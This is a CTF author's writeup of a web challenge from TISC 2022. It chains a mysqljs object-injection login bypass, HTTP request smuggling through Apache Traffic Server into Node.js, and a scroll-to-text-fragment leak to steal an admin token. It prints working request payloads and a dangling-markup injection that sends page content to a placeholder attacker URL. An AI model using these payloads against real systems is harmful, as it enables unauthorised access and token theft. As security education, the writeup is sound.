๐Ÿ‘จโ€๐Ÿ’ป
CTFs
HomePlaygroundOSCPBuy Me a Flag ๐Ÿšฉ
  • ๐ŸšฉZeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • ๔ƒ—๔Œฒ”๔‡บŸ๔Šธ‰๔ซž๔„บท๔„งป๔ƒ„๔Šธ‰
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Solution
  • Part 1 - Gaining Access
  • Part 2 - HTTP Request Smuggling
  • Part 3 - Scroll-To-Text-Fragment (STTF) XS-Leak
  • Wrapping Up
  • Unintended Solutions
  • Flawed Proxy Routing
  • OSINT
  • Dangling Markup Injection

Was this helpful?

  1. 2022
  2. The InfoSecurity Challenge 2022

Level 5B - PALINDROME's Secret (Author Writeup)

PreviousLevel 4B - CloudyNekosNextBalsnCTF 2022

Last updated 2 years ago

Was this helpful?

Hey, this is my challenge! I was slightly pressed for time when coming up with this challenge so it definitely wasn't as long and elaborate as some of the later stages, but I'm happy with how it turned out. Hope everyone had fun!

You can find the challenge files here.

Description

We have discovered PALINDROME's secret portal, but we can't seem to gain access. Thankfully, we managed to steal the source code - can you take a look? Gaining access to the portal and stealing the PALINDROME admin's access token will greatly aid our efforts to curb PALINDROME's ongoing attack. http://chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg:23627/index *NOTE*: Solving this challenge unlocks level 6!

Solution

Part 1 - Gaining Access

Upon inspection of the source code, we will quickly discover that the first thing we need to do is to bypass the login, since all other endpoints are protected by authenticationMiddleware.

We see that the mysqljs/mysql package is used without the stringifyObjects: true option:

const db = mysql.createConnection({
    host     : 'db',
    user     : 'web',
    password : process.env.MYSQL_PASSWORD,
    database : 'palindrome'
});

While the email and password values are expected to be strings, the use of express.json() allows Object and Array types to be given as req.body.email and req.body.password.

For instance, POST-ing the following JSON to /login:

POST /login HTTP/1.1
Host: localhost
Content-Length: 97
Content-Type: application/json

{
    "email": {
        "email": 1
    },
    "password": {
        "password": 1
    }
}

will cause the following SQL query to be executed:

SELECT * FROM users WHERE email = `email` = 1 AND password = `password` = 1

which simplifies to

SELECT * FROM users WHERE 1 = 1 AND 1= 1

This allows us to authenticate successfully and gain access to the application.

Part 2 - HTTP Request Smuggling

Once we gain access to the application, we would see a "Report Issue" feature which allows us to "submit a URL for the admin to check".

Yet, when we submit any URL, we are presented with the following error:

Forbidden. Only local administrators can report issues for now.

Now is probably a good time to notice that the Express application is put behind a reverse proxy (Apache Traffic Server). The remap.config file specifies the URL mappings, and we could see that the /do-report endpoint is mapped to /forbidden.

map             /login          http://app:8000/login
map             /index          http://app:8000/index
map             /token          http://app:8000/token
map             /verify         http://app:8000/verify
map             /report-issue   http://app:8000/report-issue
map             /static         http://app:8000/static
map             /do-report      http://app:8000/forbidden
regex_redirect  http://(.*)/    http://$1/index

This access control mechanism prevents us from making a request to /do-report, unless we are doing so without going through the proxy.

While a PoC is available, participants would need to modify it to suit this particular context.

Consider the following request, where each new line is delimited by \r.

GET / HTTP/1.1\r\n
Host: localhost:8080\r\n
Transfer-Encoding: chunked\r\n
\r\n
3;\nxxx\r\n
139\r\n
0\r\n
\r\n
POST /do-report HTTP/1.1\r\n
Host: localhost:8080\r\n
Content-Length: 103\r\n
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU\r\n
Content-Type: application/json\r\n
\r\n
{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}\r\n
0\r\n
\r

A chunk extension is used here: 3;\nxxx. The issue is two-pronged:

  1. ATS parses the LF (\n) as a line terminator (instead of the CRLF sequence) and forwards it.

  2. The Node.js HTTP server does not check if the chunk extension contains the illegal LF character.

So ATS sees the following request:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

3;
xxx
139
0

POST /do-report HTTP/1.1
Host: localhost:8080
Content-Length: 103
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU
Content-Type: application/json

{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}
0

Notice that here, the POST /do-report HTTP/1.1 request is encapsulated as part of the chunked request body of the first request (and therefore not seen by ATS as a separate request).

When the request is forwarded to the backend, however, Node does not see xxx as part of a new line.

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

3;[\n]xxx
139
0

POST /do-report HTTP/1.1
Host: localhost:8080
Content-Length: 103
Cookie: connect.sid=s%3A4Tp_E2HJcMliL0-HBIe2gRJe0STpIOZW.hoetvVdAqJdACwI4BwIrHCmQR1nPjgY2YOxQMbJsDmU
Content-Type: application/json

{"url":"http://localhost:8000/verify?token=TISC{c:n:9:4:i:7:c:n:e:m}#:~:text=TISC{1:3:3:7:l:3:4:k:1:a"}
0

Therefore, the POST /do-report HTTP/1.1 request is processed as a second request instead.

This allows us to smuggle a request to the backend application, bypassing the access control implemented on ATS.

Part 3 - Scroll-To-Text-Fragment (STTF) XS-Leak

First of all, notice in the verify.pug template that username is unescaped, since !{...} i used instead of #{...}.

.alert.alert-success(role='alert')
    | This token belongs to !{username}.
    | If !{username} asks for your token, you can give them this token: #{token}.

This allows us to inject HTML markup, but because of the strict Content Security Policy, we cannot perform XSS or CSS-based exfiltration.

Content-Security-Policy: default-src 'self'; img-src data: *; object-src 'none'; base-uri 'none'; 

Notice that the CSP allows the loading of arbitrary images. This can be combined with STTF to detect if a scroll occurred, leading to the loading of a lazy-loaded image.

In order to make sure that the lazy-loaded image does not load immediately after opening the page, a simple solution is to make use of Bootstrap's min-vh-100 class - this ensures that the div will take up the entire viewport.

<div class="min-vh-100">Min-height 100vh</div>
<div class="min-vh-100">Min-height 100vh</div>
<div class="min-vh-100">Min-height 100vh</div>
<img loading=lazy src="OUR_URL">

When we visit the generated verification page at /verify?token=TOKEN, we will get the following page:

...

<div class="alert alert-success" role="alert">
   This token belongs to 
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <img loading=lazy src="OUR_URL">.
   If 
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <div class="min-vh-100">Min-height 100vh</div>
   <img loading=lazy src="OUR_URL"> asks for your token, you can give them this token: TISC{OUR_TOKEN}.
</div>

...

Opening the page with the :~:text=TISC{ fragment, we can see that a scroll is induced, causing the lazy-loaded image to be fetched.

All we need to to is to automate the submission of different text fragments, and for each text fragment, detect if a callback is received. This allows us to bruteforce the admin token (the flag of the challenge) one character at a time.

Note: In order for the STTF to work on an incomplete flag, the special TISC{x:y:z} format is required, where each character is alphanumeric and a number occurs in at least every other character. The flag has been specially chosen with this in mind.

Wrapping Up

The full exploit chain is automated in solve.py.

The following needs to be changed:

CHALLENGE_HOST = 'localhost'    # Change this
CHALLENGE_PORT = 80             # Change this

# Change this - this is our URL that proxies to our local port 1337
OUR_URL = 'http://OUR_URL/LOADED'

OUR_URL is the URL (such as one provided by ngrok, or the player's own public IP) that maps to our local port 1337.

Sample script output:

Unintended Solutions

Flawed Proxy Routing

This was an unintended solution that existed in a previous version of this challenge and was fixed in the final version used in the competition.

The original remap.config file was as follows

map /do-report  http://app:8000/forbidden
map /           http://app:8000/

The way ATS performs remapping is to find the longest-prefix-match in the URL path, then concatenate whatever is left to the end of the resultant URL.

In this case, if we requested //, the resultant URL would be http://app:8000//. We could then extend this to //do-report, which would result in http://app:8000//do-report. The double-slashes are then normalised into a single slash.

This prompted the fixed version of this file to be used in the competition.

map             /login          http://app:8000/login
map             /index          http://app:8000/index
map             /token          http://app:8000/token
map             /verify         http://app:8000/verify
map             /report-issue   http://app:8000/report-issue
map             /static         http://app:8000/static
map             /do-report      http://app:8000/forbidden
regex_redirect  http://(.*)/    http://$1/index

OSINT

Some time after submitting this challenge, I reported a HTTP request smuggling vulnerability to the maintainers of ATS. The vulnerability had to do with CRLF injection when downgrading from HTTP/2 to HTTP/1.1, and had nothing to do with this challenge.

By Googling for my name in combination with ATS request smuggling, some people were able to find a writeup of the ATS vulnerability being used in combination with Waitress, which suffered from a similar vulnerability (accepting LF in chunked extensions) as the Node.js version in this challenge.

Dangling Markup Injection

Instead of using Scroll-To-Text-Fragment, a much simpler attack would be to use a dangling markup injection that exfiltrated the admin's token to our URL through an image tag.

"><img src="https://OUR_URL?a=

This would translate to

<div class="alert alert-success" role="alert">This token belongs to "><img src="https://OUR_URL?a=. If"><img src="https://OUR_URL?a=asks for your token, you can give them this token: TISC{OUR_TOKEN}</div> ... " ... >

The idea behind such an attack is that the unterminated string for src will run on until the next double quote, allowing us to exfiltrate the contents of the page up until the next double quote.

This causes when constructing SQL queries.

Looking at the versions of Node.js and ATS used, we could find information on a HTTP request smuggling in the incorrect parsing of chunk extensions.

is a relatively new feature in Chromium, which allows scrolling to a specific portion of a page using a text snippet in the URL. This opens up possibilities for XS-Leaks.

If you have attempted my challenges during SEETF (a CTF my team hosted earlier this year), you would have noticed that this suffers from the same unintended solution used by many players during SEETF to solve my challenge.

This got fixed and disclosed way sooner than I thought it would, and my name appeared in the search results of some people looking for ATS request smuggling vulnerabilities during the competition.

This is where my assumptions failed me - I had assumed that this would not be possible because Chromium would have URLs containing newline and < characters. I thought that this would certainly have been the case here, as the next double quote would not be found until several lines later.

However, as stated in the , Pug removes all whitespace between elements, unless the is explicitly set. This meant that the entire page is rendered as a single line of HTML, and the browser's defences against dangling markup injection would have been useless.

unexpected behaviour
issue
STTF
Flagportal
vulnerability
blocked
documentation
pretty option
My-CTF-Challenges/TISC-2022 at main ยท zeyu2001/My-CTF-ChallengesGitHub
Logo
397KB
palindrome-secret-distrib.zip
archive